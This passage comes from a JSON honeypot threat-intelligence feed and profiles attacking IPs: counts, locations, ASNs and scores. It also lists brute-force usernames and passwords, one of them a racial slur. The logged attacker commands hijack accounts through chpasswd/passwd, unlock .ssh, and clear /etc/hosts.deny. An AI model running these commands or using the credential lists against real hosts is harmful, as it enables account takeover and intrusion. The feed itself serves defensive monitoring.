      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 153
      }
    },
    "149.13.56.148": {
      "attack_count": 263,
      "first_seen": "2026-04-10T01:23:16.428Z",
      "last_seen": "2026-04-10T01:58:36.112Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "user",
        "bot",
        "csuser",
        "deploy",
        "judith",
        "postgres",
        "salim",
        "tempuser",
        "tester",
        "user2",
        "wilson"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "!1qaz@2wsx",
        "1234-qwerty",
        "123456",
        "2wsx@WSX",
        "CDtianrun888",
        "Frappe03!",
        "Postgres19",
        "Qazwsx888!",
        "Root4321@123",
        "Test4",
        "User!@",
        "ZAQ!2wsx2023$",
        "a123456jD",
        "aa111111",
        "adm1n",
        "bot4",
        "csuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Test4\\nf3LDoGQ2PftQ\\nf3LDoGQ2PftQ\\n\"|passwd",
        "echo \"User!@\\nTxC7rNliA9yh\\nTxC7rNliA9yh\\n\"|passwd",
        "echo -e \"Test4\\nf3LDoGQ2PftQ\\nf3LDoGQ2PftQ\"|passwd|bash",
        "echo -e \"User!@\\nTxC7rNliA9yh\\nTxC7rNliA9yh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 136897,
      "as_org": "Enjoyvc Cloud Group Limited.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:23:16.428000+00:00",
        "last_seen_30d": "2026-04-10T01:59:41.597000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "43.245.143.215": {
      "attack_count": 251,
      "first_seen": "2026-04-02T17:50:13.100Z",
      "last_seen": "2026-04-12T02:03:06.688Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123445",
        "1@2@3@4@5@6",
        "1qaz2wsx@#",
        "2025@",
        "A12345@",
        "Abcdef",
        "Bd123456",
        "Electronic@123",
        "Eshore!!1",
        "Manager@123",
        "P@55w0rd77",
        "Pa55w0rd@12345",
        "Root321!",
        "Royal@123",
        "Sterling",
        "blonde",
        "filip"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:E4eew0vgFyMq\"|chpasswd|bash",
        "echo \"root:R5cqiXQAZA5p\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 58717,
      "as_org": "Summit Communications Ltd",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 318,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:50:13.100000+00:00",
        "last_seen_30d": "2026-04-12T02:04:14.210000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 251,
        "Suricata": 67
      }
    },
    "14.22.82.116": {
      "attack_count": 226,
      "first_seen": "2026-04-05T15:53:47.539Z",
      "last_seen": "2026-04-14T04:47:26.504Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "postgres",
        "steam",
        "username",
        "345gs5662d34",
        "ali",
        "claude",
        "deploy",
        "fuser",
        "mary",
        "myappuser",
        "n8n",
        "oracle",
        "pc",
        "prueba",
        "rootuser",
        "test1",
        "wg"
      ],
      "passwords_attempted": [
        "123456",
        "100202600",
        "1111",
        "123",
        "123-ZXCV",
        "1234",
        "123@qq.com",
        "123qwe@@@",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456R",
        "A123456a",
        "AAaa123",
        "Aa10202640",
        "Adm@2026",
        "Claude3",
        "DDaa111",
        "Huawei@123",
        "QWERT1",
        "Root2026!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 357,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:53:47.539000+00:00",
        "last_seen_30d": "2026-04-14T04:57:31.894000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 226,
        "Suricata": 131
      }
    },
    "103.246.19.161": {
      "attack_count": 204,
      "first_seen": "2026-04-24T05:49:15.535Z",
      "last_seen": "2026-04-24T06:17:22.336Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "user",
        "odoo",
        "root",
        "claude",
        "seekcy",
        "345gs5662d34",
        "azureuser",
        "bot",
        "gitlab-runner",
        "larry",
        "mark",
        "mohammad",
        "n8n",
        "oracle",
        "postgres",
        "sysadmin",
        "ubuntu",
        "user1",
        "user2",
        "vpntest"
      ],
      "passwords_attempted": [
        "123456",
        "12",
        "1234",
        "123456789",
        "1234567890",
        "123asd123",
        "3245gs5662d34",
        "345gs5662d34",
        "ABC123",
        "Admin123!",
        "Bot18!",
        "Joysuch@Locate2020",
        "N8n05!",
        "Odoo07!",
        "Odoo29!",
        "Passw0rd",
        "Postgres123!",
        "asdasd",
        "claude11",
        "claude30!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Joysuch@Locate2020\\nFZTu3lxliPih\\nFZTu3lxliPih\\n\"|passwd",
        "echo -e \"Joysuch@Locate2020\\nFZTu3lxliPih\\nFZTu3lxliPih\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 131447,
      "as_org": "POPIDC powered by CSLoxinfo",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T05:49:15.535000+00:00",
        "last_seen_30d": "2026-04-24T06:18:25.757000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 63
      }
    },
    "103.143.11.168": {
      "attack_count": 203,
      "first_seen": "2026-04-25T14:47:53.309Z",
      "last_seen": "2026-04-25T15:27:48.587Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ali",
        "backuptest",
        "deploy",
        "dev",
        "gitea",
        "hadoop",
        "oracle",
        "postgres",
        "sammy",
        "seekcy",
        "sysadmin",
        "test",
        "test10",
        "user04"
      ],
      "passwords_attempted": [
        "123",
        "123.com",
        "123123",
        "12345qwe",
        "1qwertyuiop",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin17!",
        "Frappe05!",
        "Frappe2025",
        "Joysuch@Locate2020",
        "Rc123456",
        "Root!2025",
        "Zaq@12345",
        "abc123456!",
        "ali123!",
        "backuptest",
        "gitea!",
        "oracle9",
        "pass123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Lg6ONiD3s3DC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T14:47:53.309000+00:00",
        "last_seen_30d": "2026-04-25T15:28:57.350000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "45.161.237.218": {
      "attack_count": 194,
      "first_seen": "2026-04-22T11:17:48.727Z",
      "last_seen": "2026-04-22T12:20:20.791Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "alexandre",
        "bodega",
        "claude",
        "customer",
        "deploy",
        "frappe",
        "ftpuser",
        "git",
        "kumar",
        "n8n",
        "pedro",
        "socks",
        "steam",
        "testdb",
        "tony",
        "user",
        "user01"
      ],
      "passwords_attempted": [
        "1234",
        "1234567890",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Admin5",
        "Minecraft123",
        "N8n20",
        "Qaz123123",
        "Root15",
        "Root@123#",
        "Vpn25!",
        "Welcome01",
        "admin1234567",
        "alexandre",
        "bodega",
        "claude29",
        "dell@2025",
        "kumar",
        "passwd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Admin5\\nqUYq5goUn6dG\\nqUYq5goUn6dG\\n\"|passwd",
        "echo -e \"Admin5\\nqUYq5goUn6dG\\nqUYq5goUn6dG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Ciudad del Este",
      "asn": 61512,
      "as_org": "GIG@NET SOCIEDAD ANONIMA",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T11:17:48.727000+00:00",
        "last_seen_30d": "2026-04-22T12:21:28.668000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 60
      }
    },
    "181.78.5.101": {
      "attack_count": 181,
      "first_seen": "2026-04-21T16:42:07.019Z",
      "last_seen": "2026-04-21T17:26:30.733Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "ashok",
        "deploy",
        "frappe",
        "fred",
        "gopal",
        "postgres",
        "sammy",
        "user",
        "user21"
      ],
      "passwords_attempted": [
        "143143",
        "3245gs5662d34",
        "345gs5662d34",
        "Ali19!",
        "Lf123456.",
        "P@sssw0rd03",
        "Qazwsx6666!!",
        "Qwert@1234",
        "Sammy!@#$",
        "admin2025",
        "asd123,./",
        "ashok",
        "deploy@321",
        "frappe06!",
        "fred",
        "gopal",
        "password1",
        "qazwsx4321.",
        "root2022",
        "test@1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test@1234\\nOWCszqDMV7AF\\nOWCszqDMV7AF\\n\"|passwd",
        "echo -e \"test@1234\\nOWCszqDMV7AF\\nOWCszqDMV7AF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 237,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:42:07.019000+00:00",
        "last_seen_30d": "2026-04-21T17:27:39.493000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
        "Suricata": 56
      }
    },
    "128.1.132.137": {
      "attack_count": 168,
      "first_seen": "2026-04-03T05:44:57.268Z",
      "last_seen": "2026-04-03T06:58:58.741Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin#2024",
        "Admin@888",
        "Gx@123456",
        "Hj123456..",
        "P@$$w0rd.",
        "abc!1234",
        "abcd1234%^&*",
        "admin13",
        "asdasdasd",
        "ender",
        "engine",
        "f4fc63bfcaf78f91",
        "handel",
        "jailbreak1",
        "lm@123456",
        "mm5202514",
        "niggers",
        "qidian"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:AcEzIOCZ3nvh\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T05:44:57.268000+00:00",
        "last_seen_30d": "2026-04-03T06:59:59.219000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "165.154.6.89": {
      "attack_count": 168,
      "first_seen": "2026-04-02T22:46:31.688Z",
      "last_seen": "2026-04-03T00:02:32.422Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234568",
        "1q@w3e$r",
        "20260920",
        "3245gs5662d34",
        "345gs5662d34",
        "4858",
        "880406",
        "9ijn8uhb",
        "A1s2d3f4g5",
        "Abc.12345",
        "Admin@007",
        "Jupiter2025",
        "Password1234567890",
        "Qwer123456",
        "fuck0ff",
        "gold123",
        "pragma",
        "qweQWE123!@#",
        "sam123",
        "test12346"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:oCKWK41QzadM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:46:31.688000+00:00",
        "last_seen_30d": "2026-04-03T00:03:38.910000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "14.225.205.58": {
      "attack_count": 164,
      "first_seen": "2026-04-17T09:58:33.160Z",
      "last_seen": "2026-04-17T10:39:43.534Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "postgres",
        "ubuntu",
        "deploy",
        "lee",
        "mk",
        "n8n",
        "odoo",
        "server",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3245gs5662d34",
        "3edc@WSX!QAZ",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "aaa",
        "admin17!",
        "mk123",
        "odoo@",
        "qazwsx123456789@",
        "qazwsx2020#$",
        "qwe",
        "qwe321",
        "root123456789.",
        "test",
        "test123",
        "test@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qwe\\n13PkCpuxLeZA\\n13PkCpuxLeZA\\n\"|passwd",
        "echo -e \"qwe\\n13PkCpuxLeZA\\n13PkCpuxLeZA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T09:58:33.160000+00:00",
        "last_seen_30d": "2026-04-17T10:40:50.117000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 49
      }
    },
    "106.119.165.171": {
      "attack_count": 153,
      "first_seen": "2026-04-25T13:24:11.186Z",
      "last_seen": "2026-04-29T15:16:30.830Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "api",
        "bot",
        "csgoserver",
        "devadmin",
        "frappe",
        "ftp1",
        "hadoop",
        "jenkins",
        "mysql",
        "oracle",
        "pbsadmin",
        "user001"
      ],
      "passwords_attempted": [
        "123456",
        "123321",
        "1234",
        "Boxx123",
        "Q1W2E3R4T5Y6U7I8O9",
        "Qwe123!!",
        "Test123$",
        "User@2026",
        "admin1234!@",
        "api123",
        "bot02!",
        "frappe25",
        "guest",
        "heslo",
        "internet",
        "password",
        "pbsadmin",
        "qazxswedc123",
        "qwertqwert123",
        "qwertyuiop1234567890"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:24:11.186000+00:00",
        "last_seen_30d": "2026-04-29T15:26:24.206000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 89
      }
    },
    "107.189.27.179": {
      "attack_count": 136,
      "first_seen": "2026-04-26T18:44:13.935Z",
      "last_seen": "2026-04-26T19:14:48.237Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "caoss"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "5tgbnhy6",
        "G!yBwPWH3Vao%8",
        "Roadrunner99",
        "S1mt4st1c_Admin",
        "Z123456",
        "abcde12345678",
        "adminzhaoxin",
        "jack",
        "mko,lp",
        "momchil123",
        "new123",
        "pass00",
        "q2server",
        "root011234",
        "root512",
        "sermanpharma123!@",
        "sh@k3n",
        "temp12345"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Zaandam",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:44:13.935000+00:00",
        "last_seen_30d": "2026-04-26T19:15:49.048000+00:00",
        "days_since_last_seen": 4
      },
